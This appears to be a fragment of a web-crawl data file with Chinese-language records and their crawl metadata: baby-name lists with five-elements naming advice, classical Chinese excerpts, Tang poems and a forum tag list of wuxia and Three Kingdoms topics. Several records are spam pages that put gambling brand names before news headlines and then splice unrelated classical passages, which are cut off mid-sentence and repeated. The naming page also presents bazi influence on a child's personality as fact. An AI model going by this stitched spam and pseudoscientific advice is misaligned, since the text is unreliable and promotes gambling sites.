芙蓉 蕪菁 芝宇 芝蘭 芝英 蘆雪 芫華 芬芳 芬芬 芬馥 芬菲 芳菲 芳華 芳馨 芳澤 芳草 芳心 芳香 芳辰 芳芷 芳馥 芳茵 槐安 樊川 艾艾 艾真 艾希 艾可 艾云 艾玲 艾莉 艾越 蕊珠 蕙若 蕙蘭 蘊和 蘊涵 薇歌 秀媛 秀華 秀敏 秀英 秀穎 秀潔 秀杰 秀雅 秀美 秋爽 秋英 秋榮 秋玉 秋華 芳懿 芳信 芳洲 芳茗 芳卿 芳蕙 芳姿 芳顏 芳潤 芳苓\n笛韻 笠澤 符祥 策文 策立 筠溪 筠竹 筠心 箐澤 簫笛","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/www.giuaeg.com.cn\/51634b8821101746yyza70y8.html","date":"2019-09-23T13:49:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514576965.71\/warc\/CC-MAIN-20190923125729-20190923151729-00460.warc.gz","language":"lzh","language_score":0.6416895986,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6416895985603333, \"cmn_Hani_score\": 0.1880568563938141, \"nan_Hani_score\": 0.15512977540493011, \"yue_Hani_score\": 0.011649930849671364}","num_words":592,"character_repetition_ratio":0.018,"word_repetition_ratio":0.0,"special_characters_ratio":0.321,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.675,"perplexity_score":500.0,"cluster_detection":1} +{"text":"M6米乐外媒土耳其军队撤离叙利亚多处驻地并烧毁阵地\n十五年,孔子相鲁。\n齐中尉潘满如病少腹痛,臣意诊其脉,曰:\"遗积瘕也。\"臣意即谓齐太仆臣饶、内史臣繇曰:\"中尉不复自止於内,则三十日死。\"後二十馀日,溲血死。病得之酒且内。所以知潘满如病者,臣意切其脉深小弱,其卒然合合也,是脾气也。右脉口气至紧小,见瘕气也。以次相乘,故三十日死。三阴俱抟者,如法;痘俱抟者,决在急期;一抟一代者,近也。故其三阴抟,溲血如前止。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以\n君子既得其养,又好其辨也。所谓辨者,贵贱有等,长少有差,贫富轻重皆有称也。故天子大路越席,所以养体也;侧载臭茝,所以养鼻也;前有错衡,所以养目也;和鸾之声,步中武象,骤中韶濩,所以养耳也;龙旂九斿,所以养信也;寝兕持虎,鲛韅弥龙,所以养威也。故大路之马,必信至教顺,然后乘之,所以养安也。孰知夫出死要节之所以养生也。孰知夫轻费用之所以养财也,孰知夫恭敬辞让之所以养安也,孰知夫礼义文理之所以养情也。\n夫事人君能说主耳目,和主颜色,而获亲近,非独色爱,能亦各有所长。作佞幸列传第六十五。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/wsbrc.tyzqc.com\/huawei\/ADIAX29866.html","date":"2020-02-24T14:47:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145960.92\/warc\/CC-MAIN-20200224132646-20200224162646-00282.warc.gz","language":"lzh","language_score":0.5516833067,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5516833066940308, \"cmn_Hani_score\": 0.26532262563705444, \"nan_Hani_score\": 0.06941453367471695, \"yue_Hani_score\": 0.02086593769490719, \"wuu_Hani_score\": 0.017021315172314644, \"jpn_Jpan_score\": 0.016993660479784012}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.346,"perplexity_score":500.0,"cluster_detection":1} +{"text":"可选中1个或多个下面的关键词,搜索相关资料。也可直接点\"搜索资料\"搜索整个问题。\n此命没有说明是阳历还是阴历,如果是阳历的话命中水弱,取水或者金都可以,金来生水之意,是阴历的话只能取金了,阴历是土太旺,取金泄土之意,还可根据天格 地格 人格来取名字,这些都是参考,\n王逸启 王浩葳 王润庆 王建鹏 王宏霖 王义润 王禄荣 王一颍 王明德 王兴春 王宝琳 王智轩 王宇林 王宇源 王建轩 王力翔 王国石 王宇鹏 王云雄 王童财 王世连 王泽凡 王海林 王俎灿 王睿俊 王秉人 王益洋 王江涵 王世嘉 王熙杰 王凡余 王春天 王晨延 王朝明 王俊阳 王江鹏 王庆宸 王若柱 王铭泽 王圣克 王鹏豪 王欣伦 王乔林 王健城 王传远 王小煊 王桂玉 王国兴 王平显 王千纳 王瀚然 王维刚 王正虎 王西启 王博明 王吟冰 王子清 王建盛 王裕涵 王东生 王朝文 王梓超 王炀琦 王佳阳 王俊龙 王印俊 王城君 王之仁 王宣松 王伟远 王小南 王子恒 王恩伟 王芷杰 王东平 王晓程 王绍涵 王如骏 王泽阳 王曾轩 王得安 王海骏 王果斌 王海平 王佳文 王徐雷 王梓豪 王国飞 王玉兵 王帛彤 王莱源 王江天 王续荃 王梦志 王维睿 王晓涵 王子朗 王佩霄 王进甲 王柏林 王沅可 王细庆 王杰发 王宏严 王煜生 王雨尧 王德风 王永健 王志东 王子衡 王睿涵 王胤杰 王嘉涛 王凤沂 王进鑫 王振帆 王素飞 王州鸿 王伟山 王郁豪 王文强 王见涛 王彦昕 王乐皓 王晓祥 王志昌 王有辰 王泽靓 王小萌 王丝涵 王海章 王小觉 王守霖 王逸儒 王吉卫 王冰宸 王炳家 王炳泽 王沐朋 王紫豆 王玉哲 王立虎 王志林 王恩江 王文博 王小生 王俭琦 王益乐 王泽旗 王开云 王健林 王力彤 王夏锋 王光斌 王瑞豪 王浩辉 王茂宝 王羽曦 王梓四 王振夏 王飞涵 王若轩 王木林 王靖龙 王水波 王恩道 王晓铭 王子哲 王语松 王子宸 王冰之 王彦桐 王旺彬 王远希 王丁琪 王琦湛 王培鑫 王鹏昌 王诗铭 王千麟 王群哲 王书治 王达群 王晓洋 王陆崎 王子羽 王圣英 王子妤 王习鹏 王聚来 王雄伟 王宸珍 王漉皓 王廷辉 王立彬 王云豪 王一逸 王来笠 王雨宇 王辛菜\n本文由帮忙取个名字按五行来取发布,转载请注明来源:帮忙取个名字按五行来取","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/www.faxianedu.com\/tiyuzixun\/847.html","date":"2020-02-21T00:40:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145316.8\/warc\/CC-MAIN-20200220224059-20200221014059-00450.warc.gz","language":"lzh","language_score":0.9674108028,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9674108028411865, \"nan_Hani_score\": 0.021523525938391685, \"cmn_Hani_score\": 0.011074248701334}","num_words":205,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.977,"perplexity_score":500.0,"cluster_detection":1} +{"text":"500个好听的王姓振字辈男孩名字大全王振书 王振韵 王振贤 王振常 王振亲 王振部 王振亭 王振仁 王振满 王振川王振芭 王振游 王振迁 王振芹 王振崇 王振察 王振形 王振相 王振笃 王振双王振展 王振暖 王振吾 王振汰 王振光 王振驰 王振镜 王振多 王振正 王振忠王振辉 王振索 王振航 王振适 王振许 王振穿 王振尘 王振得 王振伯 王振福王振胜 王振扰 王振钱 王振敦 王振融 王振断 王振防 王振处 王振荐 王振桐王振鹰 王振准 王振毫 王振春 王振霄 王振愕 王振由 王振奥 王振恭 王振鸥王振忘 王振谦 王振逊 王振线 王振谢 王振拂 王振共 王振蚊 王振戏 王振捐王振直 王振依 王振晖 王振善 王振物 王振鸽 王振村 王振兢 王振即 王振永王振港 王振等 王振昂 王振孜 王振针 王振攻 王振守 王振萧 王振众 王振笑王振岩 王振器 王振豫 王振吉 王振归 王振豪 王振无 王振秋 王振乔 王振子王振给 王振解 王振睿 王振肖 王振岸 王振后 王振跃 王振安 王振意 王振飞王振石 王振于 王振馨 王振翔 王振鸿 王振厚 王振见 王振千 王振彬 王振脱王振涉 王振江 王振箴 王振散 王振潮 王振荒 王振弄 王振雁 王振振 王振觉王振嘤 王振顺 王振卡 王振基 王振信 王振回 王振必 王振淡 王振悠 王振随王振庄 王振照 王振挚 王振级 王振丘 王振兼 王振逆 王振芦 王振盛 王振衷王振改 王振砂 王振夷 王振帝 王振蓝 王振介 王振繁 王振迢 王振原 王振圭王振森 王振韶 王振知 王振折 王振性 王振近 王振大 王振腾 王振斌 王振欢王振洞 王振听 王振受 王振壮 王振鉴 王振久 王振夕 王振杨 王振愚 王振献王振熊 王振巨 王振活 王振轩 王振贵 王振俊 王振东 王振勋 王振锐 王振合王振五 王振立 王振时 王振识 王振谷 王振凯 王振翎 王振积 王振席 王振刊王振影 王振丰 王振谆 王振鹏 王振寒 王振来 王振渊 王振坦 王振描 王振起王振达 王振微 王振简 王振纲 王振晦 王振量 王振神 王振修 王振捷 王振身王振霖 王振通 王振境 王振圆 王振管 王振寥 王振至 王振荷 王振昧 王振自王振启 王振坚 王振节 王振净 王振银 王振灵 王振隆 王振国 王振炎 王振虑王振讷 王振广 王振毅 王振哉 王振冬 王振留 王振彰 王振源 王振含 王振论王振呜 王振朴 王振凌 王振淘 王振实 王振柳 王振灿 王振雄 王振澜 王振湖王振果 王振妙 王振清 王振涛 王振击 王振磨 王振宜 王振杜 王振陌 王振语王振伟 王振攀 王振同 王振楷 王振品 王振能 王振举 王振任 王振早 王振获王振都 王振离 王振煦 王振渐 王振放 王振念 王振峻 王振凡 王振天 王振岁王振理 王振武 王振剑 王振孤 王振震 王振琦 王振傲 王振凤 王振学 王振招王振廉 王振客 王振热 王振止 王振晴 王振潜 王振施 王振本 王振肇 王振坤王振金 王振言 王振仪 王振康 王振文 王振浅 王振徐 王振簇 王振杭 王振翱王振带 王振雷 王振溢 王振睹 王振建 王振荣 王振泉 王振宽 王振弓 王振波王振泽 王振可 王振声 王振汝 王振勇 王振沙 王振瀚 王振少 王振忆 王振刚王振德 王振叶 王振鱼 王振羡 王振汶 王振勺 王振啸 王振翼 王振核 王振亮王振幸 王振昆 王振曲 王振价 王振蒙 王振圣 王振汗 王振翟 王振位 王振让王振指 王振霜 王振藻 王振视 王振星 王振疏 王振复 王振尺 王振轻 王振流王振云 王振谨 王振责 王振好 王振庸 王振硕 王振苑 王振冲 王振寿 王振运王振恕 王振瞑 王振齐 王振才 王振轮 王振俗 王振侠 王振唯 王振韬 王振真王振峰 王振柱 王振着 王振锋 王振昌 王振台 王振定 王振玄 王振皓 王振讪王振雨 王振约 王振青 王振白 王振戈 王振汪 王振和 王振廓 王振树 王振孚王振享 王振田 王振礼 王振险 王振敬 王振稳 王振钧 王振习 王振铁 王振漾王振远 王振皇 王振励 王振矜 王振璋 王振析 王振晋 王振既 王振藏 王振履王振苛 王振莫 王振规 王振阔 王振方 王振闲 王振释 王振澄 王振茂 王振免王振播 王振话 王振钟 王振耕 王振士 王振限 王振骄 王振寄 王振而 王振细王振旦 王振祖 王振射 王振赤 王振际 王振晓 王振谏 王振陷 王振克 王振壑王振化 王振孝 王振伸 王振乾 王振街 王振严 王振风 王振曜 王振厉 王振体王振慎 王振龄 王振度 王振恒 王振贞 王振扬 王振粟 王振及 王振功 王振志王振路 王振挣 王振泊 王振然 王振情 王振倚 王振润 王振商 王振潭 王振歇王振旷 王振禅 王振朗 王振笠 王振海 王振元 王振更 王振去 王振存 王振梁 一个好的名字要讲究八字平衡、寓意美好、音韵朗畅、字形简美。名字、八字平衡对宝宝的性格有不可抗拒的暗示诱导力。别具一格,妙趣天成,甚至拍案叫绝的名字,能够让宝宝在以后的人际交往中广集人脉。名字音韵朗畅是指选择发音清亮的字眼,使名字读起来大气朗畅;更注意名字各字之间声韵母和平仄声调的不同搭配,使名字极具灵动变化之美。名字字形简美是指笔画简便,方便书写;字形美观,避免头重脚轻,比例失调,具有对称和谐的美感;结构灵动,不仅避免字形结构同一单调,更能给名字的书写带来一种行云流水、飘逸灵动的流畅变化之美。","id":"","dump":"CC-MAIN-2021-31","url":"http:\/\/www.nhhongxing.cn\/bzqm\/10564.html","date":"2021-07-31T05:00:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154053.17\/warc\/CC-MAIN-20210731043043-20210731073043-00110.warc.gz","language":"lzh","language_score":0.9333623052,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9333623051643372, \"nan_Hani_score\": 0.04923228546977043, \"cmn_Hani_score\": 0.01738978549838066}","num_words":452,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.944,"perplexity_score":500.0,"cluster_detection":1} +{"text":"觀公孫大娘弟子舞劍器行 杜甫 昔有佳人公孫氏,一舞劍器動四方。觀者如山色沮喪,天地為之久低昂。霍如羿射九日落,矯如群帝驂龍翔,來如雷霆收震怒,罷如江海凝清光。絳唇珠袖兩寂寞,晚有弟子傳芬芳。 臨穎美人在白帝,妙舞此曲神揚揚。與余問答既有以,感時撫事增惋傷。 先帝侍女八千人,公孫劍器初第一。五十年間似反掌,風塵澒洞昏王室。梨園子弟散如煙,女樂餘姿映寒日。金粟堆前木已拱,瞿塘石城草蕭瑟。玳筵急管曲復終,樂極哀來月東出。老夫不知其所往?足繭荒山轉愁疾。\n古柏行, 杜甫孔明廟前有老柏,柯如青銅根如石。霜皮溜雨四十圍,黛色參天二千尺。君臣已與時際會,樹木猶為人愛惜。雲來氣接巫峽長,月出寒通雪山白。憶昨路繞錦亭東,先主武侯同閟宮。崔嵬枝幹郊原古,窈窕丹青戶牖空。落落盤踞雖得地,冥冥孤高多烈風。扶持自是神明力,正直原因造化工。大廈如傾要樑棟,萬牛迴首邱山重。不露文章世已驚,未辭剪伐誰能送?苦心豈免容螻蟻,香葉終經宿鸞鳳。志士幽人莫怨嗟:古來材大難為用。\n韋諷錄事宅觀曹將軍畫馬圖, 杜甫 國初已來畫鞍馬,神妙獨數江都王。將軍得名三十載,人間又見真乘黃。曾貌先帝照夜白,龍池十日飛霹靂。內府殷紅瑪瑙盤,婕妤傳詔才人索。盤賜將軍拜舞歸,輕紈細綺相追飛。貴戚權門得筆跡,始覺屏障生光輝。昔日太宗拳毛騧,近時郭家獅子花。今之新圖有二馬,復令識者久嘆嗟。此皆騎戰一敵萬,縞素漠漠開風沙。其餘七匹亦殊絕,迥若寒空動煙雪。霜蹄蹴踏長啾間,馬官廝養森成列。可憐九馬爭神駿,顧視清高氣深穩。借問苦心愛者誰,後有韋諷前支遁。憶昔巡幸新豐宮,翠華拂天來向東。騰驤磊落三萬匹,皆與此圖筋骨同。自從獻寶朝河宗,無復射蛟江水中。君不見 – 金粟堆前松柏裏,龍媒去盡鳥呼風。\n走馬川行奉送封大夫出師西征, 岑參君不見走馬川行雪海邊,平沙莽莽黃入天。輪臺九月風夜吼,一川碎石大如斗,隨風滿地石亂走。匈奴草黃馬正肥,金山西見煙塵飛,漢家大將西出師。將軍金甲夜不脫,半夜軍行戈相撥,風頭如刀面如割。馬毛帶雪汗氣蒸,五花連錢旋作冰,幕中草檄硯水凝。虜騎聞之應膽懾,料知短兵不敢接,車師西門佇獻捷。\n宣州謝脁樓餞別校書叔雲, 李白 棄我去者,昨日之日不可留;亂我心者,今日之日多煩憂。長風萬里送秋雁,對此可以酣高樓。蓬萊文章建安骨,中間小謝又清發。俱懷逸興壯思飛,欲上青天覽明月。抽刀斷水水更流,舉杯消愁愁更愁。人生在世不稱意,明朝散發弄扁舟。","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/heta.link\/tag\/tang-poem\/","date":"2022-11-27T12:50:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710237.57\/warc\/CC-MAIN-20221127105736-20221127135736-00311.warc.gz","language":"lzh","language_score":0.4457427263,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.44574272632598877, \"cmn_Hani_score\": 0.3244542181491852, \"nan_Hani_score\": 0.13854412734508514, \"wuu_Hani_score\": 0.030363356694579124, \"jpn_Jpan_score\": 0.0242264736443758, \"yue_Hani_score\": 0.01875229738652706}","num_words":16,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.542,"perplexity_score":500.0,"cluster_detection":1} +{"text":"大发体育在线蔚来汽车开盘涨逾30中国总部项目将落户合肥\n淮南王谋反,惮黯,曰:\"好直谏,守节死义,难惑以非。至如说丞相弘,如发蒙振落耳。\"\n後七世,至闽君摇,佐诸侯平秦。汉高帝复以摇为越王,以奉越後。东越,闽君,皆其後也。\n虞舜者,名曰重华。重华父曰瞽叟,瞽叟父曰桥牛,桥牛父曰句望,句望父曰敬康,敬康父曰穷蝉,穷蝉父曰帝颛顼,颛顼父曰昌意:以至舜七世矣。自从穷蝉以至帝舜,皆微为庶人。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之\n穰侯卒於陶,而因葬焉。秦复收陶为郡。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/wap.zhangqinglan6.cn\/z122e24598.html","date":"2020-02-26T05:53:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146187.93\/warc\/CC-MAIN-20200226054316-20200226084316-00526.warc.gz","language":"lzh","language_score":0.472037375,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4720373749732971, \"cmn_Hani_score\": 0.21448780596256256, \"nan_Hani_score\": 0.12144216150045395, \"zxx_Latn_score\": 0.022194374352693558, \"wuu_Hani_score\": 0.01633097417652607, \"und_Tang_score\": 0.01338933501392603, \"jpn_Jpan_score\": 0.010686795227229595, \"yue_Hani_score\": 0.010641193017363548}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.438,"perplexity_score":500.0,"cluster_detection":1} +{"text":"澳门威尼斯人新冠病愈后有人整理遗物有人重拾夙愿\n第一百十八回 哭祖庙一王死孝 入西川二士争功\n及卫后色衰,赵之王夫人幸,有子,为齐王。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n魏其、武安俱好儒术,推毂赵绾为御史大夫,王臧为郎中令。迎鲁申公,欲设明堂,令列侯就国,除关,以礼为服制,以兴太平。举適诸窦宗室毋节行者,除其属籍。时诸外家为列侯,列侯多尚公主,皆不欲就国,以故毁日至窦太后。太后好黄老之言,而魏其、武安、赵绾、王臧等务隆推儒术,贬道家言,是以窦太后滋不说魏其等。及建元二年,御史大夫赵绾请无奏事东宫。窦太后大怒,乃罢逐赵绾、王臧等,而免丞相、太尉,以柏至侯许昌为丞相,武彊侯庄青翟为御史大夫。魏其、武安由此以侯家居。\n军行至济北,夏侯渊等迎接入寨,备言兄夏侯惇损","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/hoyi7.goucaoguanjian.cn\/WSVWI30325.html","date":"2020-02-22T06:32:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145654.0\/warc\/CC-MAIN-20200222054424-20200222084424-00252.warc.gz","language":"lzh","language_score":0.459595412,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4595954120159149, \"cmn_Hani_score\": 0.3011381924152374, \"nan_Hani_score\": 0.1076054722070694, \"wuu_Hani_score\": 0.04335020110011101, \"zxx_Latn_score\": 0.01711755432188511, \"yue_Hani_score\": 0.013626495376229286}","num_words":8,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.461,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ca88登陆疫情之下韩国电商销售销售猛增近35\n二十九年,成侯卒,子平侯立。平侯八年卒,子嗣君立。\n请略道当世千里之中,贤人所以富者,令後世得以观择焉。\n太史公曰。吾闻冯王孙曰:\"赵王迁,其母倡也,嬖於悼襄王。悼襄王废適子嘉而立迁。迁素无行,信谗,故诛其良将李牧,用郭开。\"岂不缪哉!秦既虏迁,赵之亡大夫共立嘉为王,王代六岁,秦进兵破嘉,遂灭赵以为郡。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进\n二年,鲁孔丘卒。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/app.gdfccw.com\/OBIFI20225.html","date":"2020-03-30T22:15:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370497309.31\/warc\/CC-MAIN-20200330212722-20200331002722-00155.warc.gz","language":"lzh","language_score":0.5981799364,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5981799364089966, \"cmn_Hani_score\": 0.2616053521633148, \"nan_Hani_score\": 0.05598221719264984, \"wuu_Hani_score\": 0.01872481219470501, \"jpn_Jpan_score\": 0.01574688032269478, \"yue_Hani_score\": 0.010971696116030216}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.602,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n呂布爭徐州 下邳之戰 天心蓮環 彩環曲 驚魂六記 霍都 楊成協 白世鏡 龍吟曲 丹心術 方天畫戟 康熙 徐天宏 折花百式 男人見不得 石中玉 任盈盈 江夏戰神 壽春三叛 華山論劍 張角 大唐雙龍傳 易京之戰 徐晃 金輪法王 斷絕神功 全真七子 陸小鳳傳奇 金丹大法 夢姑 蕭遠山 幽灵山庄 丁璫 掃地僧 清風十三式 打狗棒法 井中八法 楚留香新傳之借屍還魂 梁羽生 血戰十式 圓月彎刀 南皮之戰 燕子雙飛 周芷若 李莫愁 大意失荊州 張無忌 楚留香新傳之新月傳奇 披風杖法 陳到 沉沙劍法 羅憲 子貴母死 天魔手七十二式 流雲飛袖 笑傲江湖 荊州 白阿繡 桃花島 天地明環 博望坡之戰 神龍教 遊俠錄 劍罡同流 天地明環 破精自絕大法 武田信玄 甄姬 紫微軟劍 太極七截棍 周瑜 黃皓專權 霍去病 涼州軍劫天子 關索 曹操攻徐州之戰 刀白鳳 少林三渡 官渡之戰 趙雲 鳩摩智 大開碑手 覆雨翻雲 崑崙派 挾刀揉手 武林外史 黃皓 曹操 銀龍手 金庸 飛刀,又見飛刀 張三丰 夏姬 萬物波動心法 空城計 諸葛亮南征 全真教 定靜師太 金剛門 鷹變十三式 諸葛亮 流星鎚 荀彧 崆峒派 石清 雙修大法 逍遙派 逆水寒 玄鐵重劍 覆雨劍法 伏魔劍法 司馬師 梅超風 飛鷹十三刺 定世鞭 幻魔身法 臥龍生 連城訣 費禕 蘇荃 建寧公主 合淝之戰 魯有腳 狼牙 幻影劍法 聖火令 合淝之戰 歸魂十八爪 白玉老虎 儀琳 丁不三 賈充 枯木神功 蔣四根 先天功 夷陵之戰 日月神教 張大春 潼關之戰 譙周 郭解 魅影身法 林朝英 地煞拳 狂沙刀法 魔佛十式 鐵騎快劍 碎金剛乘 隆中對 楚留香新傳之蝙蝠傳奇 九難 小喬 天山童姥 徐榮 壽春馳援 華山派 玉女劍法 葵花寶典 楚留香傳奇 玄氣大法 胡斐 曹純 周泰 高平陵之變 蝴蝶穿花七十二式 梅花鉤 白萬劍 伊達政宗 道心種魔大法 扭轉乾坤殺手劍 楊逍 朱然 毛玠 彈指神通 公孫止 倚天劍 化骨綿掌 歐陽克 范遙 天魔心法 陸抗 曹丕篡漢 阿珂 鍾會之亂 夏侯惇 青城派 金錢幫 銀雕 袖裡乾坤 余魚同 不戒和尚 文泰來 曹操迎天子 歸藏鞭 黃鍾公 十住大乘功 丞相,起風了 月英 張翼 鄧艾 關興 趙敏 如意八打 玉女媚術 奪命簪 令狐沖 雲行雨飄 絕不低頭 太清元功 海神 古龍 神君別傳 桃實仙 徐盛 神州奇俠 三十六招鳥啄擊法 桃谷六仙 刀劍雙殺七七四十九式 飛狐外傳 玉女素心劍法 越女劍 挾天子 劉禪 一扇十八搖 空綁術 封天閉地 夏侯嬰 齊桓公 宗預 不死七幻 魏滅蜀之戰 尼摩星 俠客行 降龍十八掌 飛龍五式 關平 丁春秋 阿九 武當派 青龍偃月刀 明珠 蕭十一郎 王重陽 耶律齊 梅花鉤 青釭劍 許褚 飄香劍雨 呂后 莫大先生 龐統 木婉清 七禽身法 東方不敗 鬼王鞭 五毒神功 泰山派 瑛姑 劍玄錄 福康安 天涯明月刀 九陽真經 張春華 周倉 燕子三抄水 李典 化石神功 劍客行 九韶定音劍 狄雲 蒼穹神劍 蝶雙飛 長河正氣 尉遲恭 石破天 夷陵之戰 亡神十八掌 恆山派 仙門劍訣 古墓派 九字真言手印 碧血洗銀槍 龍木島主 霍青桐 天龍八部 彭長老 劉表 諸葛瞻 黃權 硃砂掌 魔心連環 梵我如一 西陵之戰 李秋水 種玉大法 西蜀地形圖 胡昭 四大惡人 韋春花 袁紹 劍毒梅香 達爾巴 天鷹教 南匈奴 護花鈴 孫權建國 戰神圖錄 五行劍法 蔣幹 大圓滿杖法 星际浪子 曹睿 合肥之戰 殘金缺玉 江南七怪 雌雄雙股劍 海大富 變天擊地大法 天魔大法 尋秦記 白自在 飛天狐狸 寧中則 姜維北伐 上官鼎 碧落紅塵 少林神拳 不碎金剛 裘千尺 陳宮 白骨爪 魯肅 御盡萬法根源智經 不死印法 鄭丰 韋小寶 霓裳仙舞 邊荒傳說 刑遁術 空明拳 王元姬 蕭摩訶 丞相 永安之戰 五虎斷門刀 關羽 七星龍王 關銀屏 張召重 李牧 段譽 馮錫范 凌統 謝遜 金絲綿掌 倪匡 柳絮劍法 乾隆 迎風一刀斬 史火龍 菊花的刺 無想十法 無想奼女大法 銅錘 青松劍譜 交阯之亂 天魅凝陰 奇功絕藝榜 歸辛樹 桃枝仙 韋小寶 虛竹 伏虎神拳 沐劍屏 內家橫練 常赫志 鬼魅潛蹤 破蓮八著 倉亭之戰 尉遲敬德 左慈 慕容復 雙手互搏 儀琳 風鈴中的刀聲 大人物 無念禪功 牛郎一百零八棍 陽頂天 洪承疇 絕代雙驕 風清揚 書劍恩仇錄 臥龍 紫血大法 韓當 飛龍大九式 兵器譜 閔柔 趙志敬 炎元真氣 武當掌法 鳳天南 慕容博 血海飄香 馬超 小昭 曹丕伐吳 鴛鴦刀 情人箭 笮融 無相神功 小龍女 凝真九變 